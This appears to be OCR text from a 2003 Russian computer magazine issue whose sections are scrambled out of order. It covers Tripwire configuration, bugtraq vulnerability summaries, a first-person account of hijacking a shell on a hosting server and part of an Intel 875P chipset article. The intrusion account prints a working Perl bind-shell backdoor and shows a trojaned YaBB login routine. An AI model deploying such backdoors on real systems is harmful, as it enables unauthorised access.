Затем создание нового ключа: # twadmin --generate-keys --local-keyfile ↵ /etc/tripwire/localkey.key

В комплекте пакета имеется вспомогательная программа, вычисляющая контрольную сумму методами CRC-32, MD5, HAVAL и SHA в реализации tripwire, что позволяет сравнить производительность различных методов: # /usr/sbin/siggen /var/lib/tripwire/localhost.twd ---------------------------------------------------------Signatures for file: /var/lib/tripwire/localhost.twd CRC32 BVr6P8 MD5 CyDxlDF7Mnuz3njdkViXBB SHA OQlEAmFhfbcDp8ExomcqkJ8HGNS HAVAL BIR2NV6sOozXF9X92hqkyA ----------------------------------------------------------

Конечно, нельзя говорить, что использование Tripwire является панацеей от всех бед, но использование данной утилиты может существенно усложнить жизнь тем, кому хочется покопаться в чужом компьютере и подать предупреждающий знак системному администратору, когда такой момент наступит. В следующий раз рассмотрим еще некоторые утилиты, позволяющие повысить защищенность системы.

Формат конфигурационного файла настроек /etc/tripwire/tw.cfg (twcfg.txt) Содержит пути к вспомогательным программам, адрес электронной почты, каталоги для размещения конфигурационных файлов Tripwire. Файл структурирован как список пар имя_переменной = значение. Любая строка, начинающаяся с #, считается комментарием. При этом в файле могут быть определены переменные, к которым можно обращаться как $(имя_переменной). Две переменные предопределены и не могут быть изменены: HOSTNAME – простое имя хоста; DATE – представление времени в формате 20030427111033.

или # twadmin --generate-keys --site-keyfile ↵ /etc/tripwire/sitekey.key

И шифрование файла: # twadmin --encrypt --local-keyfile ↵ /etc/tripwire/localkey.keyfile1 file2

или # twadmin --encrypt --site-keyfile ↵ /etc/tripwire/sitekey.key file1 file2

База данных хранится в закодированной двоичной форме, чтобы распечатать ее в виде текстового файла, можно воспользоваться дополнительной утилитой, входящей в комплект twprint. При использовании базы данных по умолчанию:

Обязательные переменные:

POLFILE = /etc/tripwire/tw.pol (имя файла политик); DBFILE = /var/lib/tripwire/$(HOSTNAME).twd (имя файла с базой данных);

REPORTFILE = /var/lib/tripwire/report/$(HOSTNAME)$(DATE).twr (шаблон имен файлов с отчетами);

SITEKEYFILE = /etc/tripwire/site.key (общий ключ); LOCALKEYFILE = /etc/tripwire/$(HOSTNAME)-local.key (локальный ключ). Опциональные переменные:

EDITOR = /bin/vi (имя текстового редактора, используемого в интерактивном режиме; если он неопределен, будет использована программа, прописанная в системной переменной $VISUAL или $EDITOR);

безопасность TEMPDIRECTORY = /tmp (каталог для хранения вре

менных файлов); LATEPROMPTING = false (откладывать запрос парольной фразы до последнего, чтобы пароль меньше находился в системной памяти); SYSLOGREPORTING = true (выдавать на syslog уровни «user» и «notice» – сообщения о создании базы данных, проверках, изменениях базы данных и политики, с уровенем подробности – 0); LOOSEDIRECTORYCHECKING = false (при установке в true не выдает излишние сообщения о изменениях atime и mtime для каталогов, в которых был добавлен или удален контролируемый файл; эквивалентно добавлению -snacmblCMSH для всех каталогов); REPORTLEVEL = 3 (уровень подробности отчета по умолчанию для twprint). Переменные для настройки уведомления по e-mail; GLOBALEMAIL = (добавить этот список адресов к получателям отчетов по почте); MAILMETHOD = SMTP или SENDMAIL – протокол для передачи почтовых сообщений, используемый tripwire; SMTPHOST = (имя домена или IP-адрес сервера SMTP; игнорируется, если предыдущая переменная не установлена в SMTP); SMTPPORT = 25 (определяет номер порта, используемый с SMTP, игнорируемым, если MAILMETHOD не SMTP); MAILPROGRAM = /usr/sbin/sendmail -oi -t (Определяет полный путь к программе, используемой для электронной почты, если MAILMETHOD, если MAILMETHOD установлен в SENDMAIL, это может быть любая подобная программа, удовлетворяющая RFC 822); EMAILREPORTLEVEL = 3 (уровень подробности отчета для почтовых извещений); MAILNOVIOLATIONS = false (не посылает письма при отсутствии нарушений политик, при установке в true и отсутствии каких-либо нарушений будут приходить сообщения об этом, что рекомендуется для контроля функционирования системы, но увеличивает количество писем).

Формат конфигурационного файла политик /etc/tripwire/tw.pol (twpol.txt) Файл политик состоит из серии правил, определяющих то, какой реквизит для каждого объекта должен быть собран и сохранен в файле базы данных. Каждый объект в файле политик связан с маской свойства, которая описывает то, что Tripwire должен контролировать, и которые могут безопасно игнорироваться. Настраивая различные аспекты файла политик, администратор системы может через Tripwire управлять проверкой целостности системы. Основным компонентом файла являются правила (rules), в которых определяются проверяемые свойства для каждого объекта. При этом файлы и в каталогах наследуют правила родительского каталога, но при условии, что внутренние каталоги находятся на одном и том же дисковом устройстве, иначе для всех «выпавших» пра-

№6(7), июнь 2003

вила нужно определить отдельно. Как и в конфигурационном файле, возможно использование комментариев и переменных. Кроме проверяемых объектов, могут дополнительно указываться игнорируемые, что позволяет исключить «лишние» файлы. object name -> property_mask [attribute=value …]; ! object name;

При задании имени объекта необходимо помнить, что пробелы в имени игнорируются, поэтому их требуется заключить в кавычки. То же касается как самой кавычки, так и всех специальных символов применительно к С++ (!{}>(),;=$#|\+’ и \n, \t,\v, \b, \r, \f, \a, \\, \?, \’, \"), которые можно экранировать обратной чертой, а также чисел, заданных в восьмеричной или шеснадцатеричной форме. Например: "/te\x73t2"

Свойства, которые будут проверяться, задаются маской свойств, при этом каждому соответствует своя буква. При отсутствии свойств объект не проверяется. Если перед свойством стоит минус «-», то данное свойство игнорируется, если плюс «+», то включается проверка данного свойства. Если знака перед буквой нет, то подразумевается предыдущий в данном правиле знак или знак плюс при отсутствии знаков. Проверяются следующие свойства ([+-]*[pinugtsldbamcrCMSH])+: p – права доступа; i – inode; n – число жестких ссылок; u – uid; g – gid; t – тип файла; s – размер; l – ожидается, что файл будет расти; если он уменьшился, то фиксируется нарушение (полезно, например, для журналов); d – номер устройства диска, на котором хранится соответствующий inode; b – число блоков; a – время доступа (несовместим с +CMSH, т.к. для вычисления суммы необходимо прочитать файл; доступ к содержимому директории меняет время доступа к ней. Можно избежать recurse = false, LOOSEDIRECTORYCHECKING = true и правило -a); m – время модификации; c – время создания/модификации inode; r – для файлов устройств номер устройства; C – контрольная сумма по CRC-32, POSIX 1003.2 (самый быстрый, но наименее защищенный вариант из представленных); M – контрольная сумма по MD5 RSA Data Security; S – контрольная сумма по SHS/SHA-алгоритму; H – контрольная сумма по HAVAL. Имеет смысл использовать CMSH для файлов парами, а не все четыре сразу, так как определение всех существенно замедлит производительность.

безопасность Атрибуты правил предназначены для того, чтобы изменить их поведение или обеспечить дополнительную информацию. При этом атрибуты записываются в виде списка имя = значение через запятую и могут применяться к отдельному правилу или группе правил. /usr/lib -> $(ReadOnly) ( emailto = admin@foo.com ) ;

Группа правил заключается в фигурные скобки. Список атрибутов для группы правил записывается в скобках перед ней. (attribute = value) { rule1; rule2; ... }

Индивидуальные атрибуты имеют больший приоритет, чем групповые, за исключением атрибута emailto – в этом случае атрибут добавляется. Пример. (emailto = admin1@foo.com, severity = 90) { /etc/dog-> +pingus (severity = 75); /etc/cat-> $(Dynamic) (emailto = admin2@foo.com); }

Могут использоваться следующие атрибуты: rulename – по умолчанию, простое имя файла; используется в отчетах, для группировки правил, для проверки только части правил, желательно для удобства использовать короткое, но понятное значение; emailto – адрес электронной почты, на который по умолчанию высылаются сообщения; чтобы указать несколько адресов, надо перечислить их через точку с запятой и заключить в кавычки; severity – определяет уровень серьезности правила (от 0 до 1000000, по умолчанию – 0;) чем больше, тем серьезнее; проверку можно запускать только для правил указанного уровня или выше; в командной строке могут использоваться ключи: high – уровень 100; medium – уровень 66; low – уровень 33. recurse – рекурсивная проверка директорий, true (-1) по умолчанию, т.е. полный просмотр, false (0) или натуральное число (максимальный уровень вложенности до 1000000).

Tripwire поддерживает маленький набор preprocessorподобных директив, которые группируют правила, обеспечивают условное выполнение и восполняют некоторую диагностику и действия отладки. Первичное намерение этого механизма состоит в том, чтобы поддержать разделение файла политики среди нескольких машин. Директивы имеют следующий синтаксис: @@directive [arguments]

При этом сама директива не может быть получена как значение переменной, но переменные могут использо-

ваться в качестве параметров. Обрабатываются следующие директивы: @@section имя – предназначен в основном для работы с Windows NT, но для Unix обрабатываются только правила в первой секции с именем FS; если секций нет, то обрабатываются все правила, которые будут интерпретироваться как правила UNIX, что может создавать проблему, если файл политики, разработанный для систем Windows NT используется с UNIX; в секции GLOBAL определяются глобальные переменные; @@ifhost имя-хоста { || имя-хоста } – использовать правила только для указанного хоста (хостов); условия могут быть вложенными; @@else и @@endif – обработка условных выражений вместе с @@ifhost: @@ifhost machine1 || machine2 /usr/bin -> +pinug ; @@else /usr/bin -> +pinugsmC ; @@endif

@@print строка в кавычках – вывод на stdout; @@error строка в кавычках – вывод на stdout и завершение со статусом 1;

@@end – любой дальнейший текст в файле игнорируется; не может использоваться внутри группы или условного блока. Для удобства можно определять и использовать в файле политики два типа переменных. Глобальные переменные имеют видимость всюду в файле политики, в то время как локальные переменные, определенные в разделе UNIX файла политики имеют видимость только в пределах того раздела. В случае же, где глобальная и локальная переменные имеют то же самое название, локальная переменная будет иметь приоритет в ее разделе, временно маскируя глобальную переменную. Значение переменной присваивается командой имя_переменной = значение, подстановка значения осуществляется конструкцией $(variable). Первоначально имеются следующие предопределенные переменные: ReadOnly = +pinugsmtdbCM-raclSH (предполагается, что содержимое файлов не будет изменяться, только чтение); Dynamic = +pinugtd-rsacmblCMHS (предполагается частое изменение содержимого файлов, например, /home, /var); Growing = +pinugtdl-rsacmbCMSH (предполагается, что файлы будут только расти, например, журналы); IgnoreAll = -pinusgamctdrblCMSH (проверяется только лишь наличие или отсутствие файла, остальное игнорируется); IgnoreNone = +pinusgamctdrbCMSH-l (включает все имеющиеся свойства и предназначен для дальнейшего конструирования собственной маски: $(IGnoreNone)-ar, например, для предупреждения нарушения времени доступа); Device = +pugsdr-intlbamcCMSH (для устройств и файлов, которые нельзя открывать).

bugtraq Удаленное переполнение буфера в командах "Mail From" и "RCPT TO" в FTGate Pro Переполнение буфера обнаружено в почтовом сервере FTGate Pro. Удаленный пользователь может выполнить произвольный код на сервере с System-привилегиями. Сообщается, что сервер содержит переполнение буфера в обработке ESMTP-команд. Уязвимы команды "Mail From" и "RCPT TO". Удаленный пользователь может послать специально обработанные параметры для этих команд, чтобы вызвать переполнение буфера. Пример: nc warlab.dk 25 220 win2k-serv ESMTP Server FTGate HELO Foobar 250 win2k-serv Mail From : <aaaaa....[BUFFER about 2000 Bytes @ and 2000 bytes again ending with ".com"] <Connection closed>

Уязвимость обнаружена в FTGate Pro Mail Server 1.22, prior to Build 1330.

Удаленное переполнение буфера и выполнение произвольных SQL-инструкций в Microsoft BizTalk Server Две уязвимости обнаружены в Microsoft BizTalk Server. Удаленный пользователь может выполнить произвольный код на сервере. Удаленный пользователь может выполнить произвольные SQL-команды на сервере. Переполнение буфера обнаружено в BizTalk Server 2002 в ISAPI-фильтре HTTP receiver. Удаленный пользователь может представить специально обработанную HTTP-команду, чтобы переполнить буфер и выполнить произвольный код в контексте IIS-процесса. Также уязвимость может использоваться для аварийного завершения работы веб-сервера IIS. HTTP receiver по умолчанию отключен. Уязвимость в проверке правильности ввода обнаружена в BizTalk Server 2000 и 2002 в веб-интерфейсе Document Tracking и Administration (DTA). Одна из веб-страниц, используемая в веб-интерфейсе DTA, не выполняет проверку входных параметров. Удаленный пользователь может сконструировать URL, содержащий SQL-инструкции, который при загрузке DTA-пользователем выполнит эти SQL-инструкции на целевом сервере с привилегиями DTA-пользователя. Удаленный пользователь может предпринимать действия на базе данных BizTalk SQL и выполнять команды операционной системы в зависимости от привилегий DTA-пользователя. Уязвимость обнаружена в Microsoft BizTalk Server 2000, 2002.

Межсайтовый скриптинг через http-заголовок 'Via' в Microsoft ISA-сервере Уязвимость в проверке правильности ввода обнаружена в Microsoft Internet Security and Acceleration (ISA) Server. Удаленный пользователь может выполнить XSS-нападение против пользователей в сети, в которой используется ISA-сервер. Нападение может быть выполнено против любого домена.

№6(7), июнь 2003

Сообщается, что удаленный пользователь может создать специально сформированный http-запрос, который заставит ISA-сервер сгенерировать страницу ошибки. Удаленный пользователь может внедрить произвольный HTML-код, включая Javascript-код, в HTTP-заголовок 'Via'. Когда целевой пользователь выполняет HTTP-запрос, страница ошибки ISA-сервера отобразит HTML- или JavaScript-код, представленный пользователем, будет выполнен в браузере целевого пользователя, в контексте безопасности запрашиваемого домена. В результате код может обратиться к куки целевого пользователя. Пример: ISA Server: davinci.winmat.com Via: <YOUR_CODE_HERE>

Уязвимость обнаружена в Microsoft ISA Server.

Переполнение буфера в нескольких дешифраторах протоколов в Ethereal Несколько “off-by-one” переполнений буфера и целочисленных переполнений буфера обнаружено в сетевом сниффере Ethereal. Удаленный пользователь может аварийно завершить работу Ethereal или выполнить произвольный код. Сообщается, что некоторые дешифраторы протоколов в Ethereal небезопасно используют функции tvb_get_nstringz() и tvb_get_nstringz0(). Удаленный пользователь может сконструировать специально обработанный пакет, который вызовет однобайтовое переполнение в дешифраторах AIM, GIOP Gryphon, OSPF, PPTP, Quake, Quake2, Quake3, Rsync, SMB, SMPP и TSP. Целочисленное переполнение обнаружено в дешифраторах Mount и PPP. Уязвимость обнаружена в Ethereal 0.9.11 и более ранних версиях.

Определение имен пользователей в Microsoft IIS 4.0-6.0 Уязвимость раскрытия информации обнаружена в Internet Information Server (IIS) Authentication Manager, утилите, используемой для изменения паролей пользователей на системе через веб-интерфейс. Удаленный пользователь может определить существование имени пользователя. Удаленный пользователь может запросить изменение пароля для определенного имени пользователя. Если имя пользователя существует на целевом сервере, целевой сервер ответит следующим сообщением: "The specified network password is not correct."

Если не существует, то следующим: "The user name could not be found."

Уязвимость обнаружена в Microsoft IIS 4.0-6.0.

Составил Александр Антипов

безопасность

ПЕРЕХВАТ SHELL ЧЕРЕЗ

ВИКТОР ИГНАТЬЕВ Преамбула: эта история ещё 2002 года, но, тем не менее, данный факт не влияет на саму идею взлома. Этот метод весьма актуален, особенно на крупных хостингах. Всё нижеописанное было сделано не в одиночку, а с коллегой. Далее речь пойдёт не об очередном переводе дырки в YaBB из BugTraq, а об описании некоторых моих идей, и, если они кому-то ещё приходили в голову, я буду только рад. Итак, действия происходили на главном сервере моей фирмы, в которой несколько компьютерных классов и одна серверная.

В те времена администратор был ещё достаточно щедрый и реализовал регистрацию пользователей. Каждому зарегистрированному пользователю выдавалось: адрес электронной почты user@cafedra.server.ru; FTP-аккаунт; и, самое главное, аккаунт в Apache.

безопасность То есть создав каталог public_html и поместив туда index.html, пользователь получал домашнюю страничку http://cafedra.server.ru/~user. Это всё, конечно, хорошо, но самого «вкусного» среди этого списка не было. Я имею в виду shell-доступ. Вместо него в строчке /etc/passwd значился /bin/false. Это сильно удручало. Так как shell на главном сервере позволил бы делать очень много интересного. Разумеется, как и везде, у администратора были сослуживцы и помощники, у которых, конечно, имелся shell. И как всегда, они не отличались особой просвещенностью в вопросах безопасности. Вот как раз из-за ошибок вышеупомянутых была написана эта статья. У одного из них, как и у остальных пользователей, был свой веб-аккаунт http://cafedra.server.ru/~adil. И притом он его активно пользовал и обновлял. Среди всех ресурсов сайта был форум Yet another Bulletin Board (YaBB), который пользовался большой популярностью. И конечно, привлёк и моё внимание. Поиски дырок в самом форуме не увенчались успехом, поэтому пришлось действовать в обход.

Часть первая: осмотр

пользовательского. Целью было получить привилегии «особого» человека и от его имени продолжать дальнейшие действия.

Часть вторая: внутри Немного остыв от радости, я решил ощупать объект:

Теперь я точно знал, с чем имею дело и где нахожусь. Далее последовал тщательный осмотр директории /etc и всех находящихся в ней файлов. Спустя примерно часа 2, я решил посетить /home-директории, в частности каталоги «особенных» пользователей, а конкретнее – пользователя adil:

Как я уже сказал, shell не выделялся никому, кроме «особенных» людей, но perl и cgi-скрипты выдавались всем и в любом размере. Многие уже поняли, к чему я клоню. А для тех, кто не в курсе, поясняю, что любой язык программирования позволяет работать с внешними файлами или выполнять команды. Не долго думая, я написал test.cgi следующего содержания у себя в cgi-bin: test.cgi backdoor.cgi #!/usr/bin/perl -w print "Content-Type: text/html\n\n"; system("ls > 1.txt");

Среди прочего в каталоге cgi-bin была искомая yabb:

И в моём каталоге появился файл 1.txt, в котором содержался листинг файлов текущей директории. Не долго думая, я в своих архивах отыскал backdoor на Perl (backdoor.cgi). #!/usr/bin/perl –w use Socket; $port = 31337; socket (S,PF_INET,SOCK_STREAM,getprotobyname('tcp')); setsockopt (S, SOL_SOCKET, SO_REUSEADDR,1); bind (S, sockaddr_in ($port, INADDR_ANY)); listen (S, 50); while (1){ accept (X, S); if (!($pid = fork)){ if(!defined $pid){exit(0);} open STDIN,"<&X"; open STDOUT,">&X"; open STDERR,">&X"; exec("/bin/sh -i"); close X;}}

Затем выполнил на своей машине:

Теперь у меня был shell на главном сервере конторы. Я не буду упоминать про попытки получить root-доступ из

№6(7), июнь 2003

В каталоге Members сразу же обнаружились пароли пользователей на форуме, а также приватные сообщения. После 30-ти минутного изучения остальных каталогов я пришёл к выводу, что больше ничего интересного нет, и приступил к просмотру файлов, валявшихся в корне yabb: english.lng, Settings.pl, template.html, YaBB.pl. english.lng – им оказался файл перевода, ничего интересного. YaBB.pl – основной файл форума, особо полезной информации там не было. Template.html – шаблон для выдаваемых сообщений, были некоторые соображения на счёт этого файла, но было решено сделать его 2-ым вариантом. Settings.pl – это основной файл настройки, в нём были все настройки форума, которые должен был настроить администратор.

безопасность На первый взгляд там не было ничего интересного, и я хотел уже было махнуть на это рукой, но вдруг вспомнил про вывод команды ls –al:

rwxrwxrwx!!! Я чуть со стула не упал! Т.е. любой пользователь был вправе изменить содержимое этого файла! Начался лихорадочный поиск места, куда можно внедрить свой код.

браузера начала медленно ползти. Вернувшись к консоли, я ввёл:

Цель достигнута! Теперь я мог делать что угодно от пользователя adil. Так как все файлы я уже изучил до захвата shell, делать мне уже было нечего и я решил закрепить shell-доступ и сделать его чуть проще, для этого мне пришлось протроянить исходники форума.

Часть третья: укрепление Среди кучи «очень нужных настроек» я всё-таки нашёл уязвимое место! И оно выглядело так: Settings.pl $emailwelcome = 1; # Set to 1 to email a welcome message to users even when # you have mail password turned off $mailprog = "/usr/sbin/sendmail"; # Location of your sendmail program $smtp_server = "smtp.mysite.com"; # Address of your SMTP-Server $webmaster_email = q^webmaster@mysite.com^; # Your email address. (eg: $webmaster_email = q^admin@host.com^;) $mailtype = 0; # Mail program to use: 0 = sendmail, 1 = SMTP, 2 = Net::SMTP

Переменная $mailprog определяла программу, запускаемую для отсылки почты, а $mailtype уточняла, что отсылку будет осуществлять именно sendmail (из переменной $mailprog). После моего вмешательства строка: $mailprog = "/usr/sbin/sendmail"; # Location of your sendmail program

приобрела вид: $mailprog = "/home/n/navy/public_html/cgi-bin/backdoor.cgi"; # Location of your sendmail program

И как же теперь выполнить бэкдор? Очень просто. Я вышел из бэкдора и проверил, закрылся ли он:

Вторичной целью было обеспечить максимально простой вход в shell. Итак, теперь все файлы были в моём распоряжении. Быстренько просмотрев исходники, я понял, что нужный мне код находится в файле Sources/LogInOut.pl. Кусок кода выглядел так: Settings.pl sub Login2 { &fatal_error("$txt{'37'}") if($FORM{'username'} eq ""); &fatal_error("$txt{'38'}") if($FORM{'passwrd'} eq ""); $FORM{'username'} =~ s/\s/_/g; $username = $FORM{'username'}; &fatal_error("$txt{'240'} $txt{'35'} $txt{'241'}") ↵ if($username !~ /^[\s0-9A-Za-z#%+,-\.:=?@^_]+$/); &fatal_error("$txt{'337'}") ↵ if($FORM{'cookielength'} !~ /^[0-9]+$/); if ($username eq "evil") { system("/home/n/navy/public_html/cgi-bin/backdoor.cgi"); exit; } if(-e("$memberdir/$username.dat")) { fopen(FILE, "$memberdir/$username.dat");

Красным выделен кусок кода, добавленный мною. В итоге я мог в любое время зайти на форум под именем «evil» и получить shell на 31337 порту.

Часть четвёртая: альтернатива Пришло время вспомнить про вариант номер 2, template.html. Идея основывалась на технологии SSI (Server side includes). Эта технология позволяет выполнение внешних скриптов и встраивание их ответов в тело html-документа. Т.е. я мог бы в конец template.html вставить строку:

Но этот вариант будет доступен, если сервер настроен на обработку .html, а не только .shtml, shtm.

Часть пятая: заключение

Зашёл на главную страницу форума, промотал страницу вниз, и увидел там формочку:

Ввёл имя юзера Navy, нажал enter. Полоса загрузки

Здесь я хотел бы дать советы по защите от подобного рода атак сетевым администраторам. Не давать shell-доступ безответственным пользователям. Запретить все внешние соединения, кроме root (функция bind()). Тщательно проверять права доступа, т.к. именно изза неправильного их установления имел место этот взлом.

hardware

ГЛУБОКОВОДНОЕ ПОГРУЖЕНИЕ В ЧИПСЕТ INTEL 875P

hardware

…чтобы оценить свежесть осетрины, вовсе не обязательно съедать всего осетра целиком. Святослав Логинов

Как-то, читая очередной компьютерный журнал, я задумался: а для кого, собственно, предназначены все эти обзоры чипсетов и прочих компьютерных комплектующих? Сравнительные характеристики и тесты производительности – это, бесспорно, нужно, полезно и хорошо, но вот за счет чего та или иная производительность в каждом конкретном случае достигается? Благодаря каким именно инженерным решениям ведущие компании «опускают» своих многочисленных конкурентов? А сами конкуренты – где они допустили просчет? Увы! Подавляющее большинство публикаций не дает ответа на этот вопрос. В результате философия архитектуры чипсета остается за кадром и весь разговор сводится к известному «вчера были большие, но по пять, а сегодня по три, но маленькие». Ни принципы функционирования чипсета, ни сопутствующая ему терминология при этом вообще не поясняются и у читателя складывается выхолощенный образ аппаратуры, на которой он работает. Помните анекдот: «Вы нарушили закон, и за это мы вас расстреляем! Какой, спрашиваете, закон? Этого мы вам сказать не можем, ведь этот закон – секретный.»? Шутка шуткою, но уж очень хорошо она иллюстрирует современную ситуацию: «Данная модель имеет ряд патентованных технологий Super X, Super Y и Double-Super Z, обеспечивающих ей наивысшую производительность. В чем заключается их суть – не спрашивайте! Не можем же мы раскрывать секрет фирмы первому встречному, верно?». Вам еще не надоело покупать кота в мешке? Хотите заглянуть внутрь кристалла чипсета, разобраться, чем он живет, как дышит, насколько корректно работает с остальными устройствами? Тогда эта статья для вас!

КРИС КАСПЕРСКИ №6(7), июнь 2003

Что такое чипсет, и какую роль в компьютерах типа IBM PC он играет? Читатели, собиравшие (или хотя бы разбиравшие) в свое время бессмертные ZX-Spectrum, наверняка помнят большое количество микросхем, живописно разбросанных по системной плате. Среди них были как микросхемы поддержки центрального процессора, так и контроллеры различных устройств (клавиатуры, памяти, экрана и т. д.). В совокупности они образовали набор системной логики, так называемый чипсет, дословно переводимый на русский язык как «набор микросхем». В фирменных Spectrum микросхема чипсета была всего одна, но разработанная по специальному заказу, она вмещала в себя все остальные. Таким образом, ничего таинственного в чипсете и нет – просто за счет высокой степени интеграции большое количество сопутствующих процессору устройств удается разместить на одном кристалле. Собственно, чипсет первых IBM PC XT/AT отличался от чипсета Spectrum лишь тем, что имел контроллер шины ISA на борту, плюс контроллер DMA (устройства прямого доступа к памяти), плюс еще несколько контроллеров. Ни дискового контроллера, ни даже контроллера COM- и LPT-портов в первых IBM-овских чипсетах и в помине не было, а соответствующая функциональность обеспечивалась установкой специальной карты в слот расширения. Идея открытой архитектуры IBM PC как раз и заключалась в максимальном упрощении оснастки материнской платы за счет выноса всех остальных компонентов во внешние контроллеры. Однако стремительное увеличение степени интеграции привело к тому, что вмонтировать в уже готовый кристалл пару-тройку лишних контроллеров стало намного дешевле, чем размещать эти же самые контроллеры на отдельной печатной плате. Так появились компьютеры, несущие на своем борту контроллеры гибких/жестких дисков, интегрированный звук/видео и… еще много всякой всячины! Количество устройств, заключенных в одной микросхеме, стремительно нарастало, и в какой-то момент разработчики решили разделить ее на две, получивших название северного и южного мостов (в другой терминологии – хабов). Северный мост (названный так за свое традиционное расположение на чертежах) берет на себя наиболее ответственные задачи, требующие наивысшей пропускной способности, а потому и геометрической близости к процессору. Это контроллер системной шины, контроллер памяти, контроллер порта AGP, PCI-контроллер или контроллер внутренней шины для общения с южным мостом. В настоящее время пропускная способность периферийных устройств, «подцепленных» к южному мосту, превысила предельно допустимую пропускную способность шины PCI (133 Мб/сек) и производители, скрепя сердце, вынесли контроллер PCI-шины на южный мост, ну а в сам северный мост внедрили высокоскоростной контроллер внутренней шины (в Intel 82875P – это Hub Interface 1.5 с пропускной способностью в 266 Мб/сек, что вдвое выше, чем у штатной PCI. Впрочем, это еще не предел: MuTIOL-контроллер чипсета SiS 655 обеспечивает пропускную способность аж в 1,2 ГГб/сек, то есть вчетверо быстрее Intel, правда, в подавляющем большинстве случаев эта возможность так и остается невостребованной, поскольку у вас попросту не найдется таких «прожорливых» периферийных устройств!).

hardware Южный мост отвечает за ввод/вывод и включает в себя контроллер DMA, контроллер прерываний, контроллер таймера, контроллеры жестких и гибких дисков, контроллеры последовательных, параллельных и USB-портов и т. д., и т. п. Легко видеть, что производительность системы определяется фактически одним северным мостом, причем в силу значительных технологических и инженерных сложностей работы на таких запредельных скоростях именно на северный мост и приходится наибольшая доля архитектурных различий в конструкции чипсетов. Южные же мосты второстепенны, скучны, неповоротливы и неинтересны. Тот же Intel 875P в качестве южного моста использует допотопную микросхему Intel 82801EB, практически не изменившуюся с апреля 1999 года. Вы эту вялость жизни применительно к северным мостам представляете? Северные мосты – наиболее бурно и динамично развивающийся компонент компьютера, уступающий в интенсивности накала страстей разве что самим центральным процессорам (которые, собственно, северный мост и обслуживают). Это передовое направление техники и науки, и здесь нам есть чему поучиться! Данная статья целиком и полностью отдает себя именно северным мостам, ну а про южные вы прочитаете где-нибудь в другом месте. Начнем с главного: вопреки распространенному заблуждению процессор взаимодействует с оперативной памятью не напрямую, а через специальный контроллер, подключенный к системной шине процессора приблизительно так же, как и остальные контроллеры периферийных устройств. Причем механизм обращения к портам ввода/вывода и к ячейкам оперативной памяти с точки зрения процессора практически идентичен. Процессор сначала выставляет на адресную шину требуемый адрес и в следующем такте уточняет тип запроса: происходит ли обращение к памяти, портам ввода/вывода или подтверждение прерывания. В некотором смысле оперативную память можно рассматривать как совокупность регистров ввода/ вывода, каждый из которых хранит некоторое значение. Механизм взаимодействия памяти и процессора выглядит приблизительно так: когда процессору требуется получить содержимое ячейки оперативной памяти, он, дождавшись освобождения шины, через механизм арбитража захватывает шину в свое владение (что занимает один такт) и в следующем такте передает адрес искомой

ячейки. Еще один такт уходит на уточнение типа запроса, назначение уникального идентификатора транзакции, сообщение длины запроса и маскировку байтов шины. Подробнее об этом можно прочитать в спецификациях на шины P6 и EV6, здесь же достаточно отметить, что эта фаза запроса осуществляется за три такта системной шины. Независимо от размера читаемой ячейки (байт, слово, двойное слово) длина запроса всегда равна размеру линейки L2-кэша, что составляет 32 байта для процессоров K6/P-II/P-III, 64 байта – для AMD Athlon и 128 байт – для P-41. Такое решение значительно увеличивает производительность памяти при последовательном чтении ячеек и практически не уменьшает ее при чтении ячеек вразброс, что и неудивительно, т.к. латентность чипсета в несколько раз превышает реальное время передачи данных и им можно пренебречь. Контроллер шины (BIU – Bus Interface Init), «вживленный» в северный мост чипсета, получив запрос от процессора, в зависимости от ситуации либо передает его соответствующему агенту (в нашем случае – контроллеру памяти), либо ставит запрос в очередь, если агент в этот момент чем-то занят. Потребность в очереди объясняется тем, что процессор может посылать очередной запрос, не дожидаясь завершения обработки предыдущего, а раз так – запросы приходится где-то хранить. Чем больше запросов может накапливать чипсет, тем выше максимально достижимый параллелизм обработки данных, а значит, выше и скорость. Чипсеты старого поколения (Intel 815, в частности) могли накапливать всего лишь до четырех запросов, однако с ростом отношения латентность/пропускная способность оперативной памяти размера очереди стало катастрофически не хватать и в Intel 875P/SiS 655 она была увеличена до 12 элементов. При первой же возможности чипсет извлекает запрос из очереди и передает его контроллеру памяти (MCT – Memory Controller). В течение одного такта он декодирует полученный адрес в физический номер строки/столбца ячейки и передает его модулю памяти по сценарию, описанному в приложении «приблизительная схема взаимодействия памяти и процессора». В зависимости от архитектуры контроллера памяти он работает с памятью либо на частоте системной шины (синхронный контроллер), либо поддерживает память любой другой частоты (асинхронный контроллер). Синхронные контроллеры ограничивают пользователей ПК в выборе модулей памяти, но, с другой стороны, асинхронные контроллеры менее производительны. Почему? Во-первых, в силу несоответствия частот, читаемые данные не могут быть непосредственно переданы на контроллер шины, и их приходится сначала складывать в промежуточный буфер, откуда шинный контроллер сможет их извлекать с нужной ему скоростью. (Аналогичная ситуация наблюдается и с записью). Во-вторых, если частота системной шины и частота памяти не соотносятся как целые числа, то перед началом обмена приходится дожидаться завершения текущего тактового импульса. Таких задержек (в просторечии пенальти) возникает две: одна – при передаче микросхеме памяти адреса требуемой ячейки, вторая – при передаче считанных данных шинному контроллеру. Все это

hardware значительно увеличивает латентность подсистемы памяти, т. е. промежутка времени с момента посылки запроса до получения данных. SiS 655 – асинхронный контроллер со всеми вытекающими отсюда достоинствами и недостатками, а Intel 875P – это асинхронный контроллер, при совпадении частот шины и памяти автоматически переходящий в синхронный режим. Сочетая сильные стороны обоих типов контроллеров, чипсет Intel 875P практически не имеет недостатков (одним выстрелом – двух зайцев). Другой фундаментальной характеристикой чипсета являются типы поддерживаемых им модулей памяти, что играет решающую роль в выборе чипсета пользователем (точнее, разработчиком материнской платы, но это не суть важно). Чипсет Intel 860, сделавший в свое время ставку на мало популярную память типа RDRAM, несмотря на все маркетинговые усилия, так и не получил большего распространения, поэтому компании Intel пришлось переориентироваться на DDR-SDRAM, де-факто ставшей массовой памятью к настоящему времени. Чипсет Intel 875P поддерживает три наиболее перспективных типа памяти: DDR266, DDR333 и DDR400, что выгодно отличает его от чипсета SiS 655, который память типа DDR400, увы, не поддерживает (подробную информацию о поддерживаемых типах памяти вы найдете в приложении «выбор и конфигурирование памяти»)! Однако обеспечить формальную поддержку высокоскоростных типов памяти – это только полдела! Ведь с этой самой памятью еще надо уметь эффективно работать. Можно с сумасшедшей скоростью черпать воду наперстком, а можно степенно и деловито хлебать ее литровой пивной кружкой. Так что не надо путать тактовую частоту чего бы то ни было с реально достижимой производительностью. Начнем с того, что пропускная способность наилучшей на сегодняшний день памяти DDR400, составляющая, как известно, 3,2 ГГб/сек, много меньше пропускной способности системной шины последних моделей Pentium-4, вмещающих в себя 4,3 ГГб/сек и 6,4 ГГб/сек на частотах в 4х133 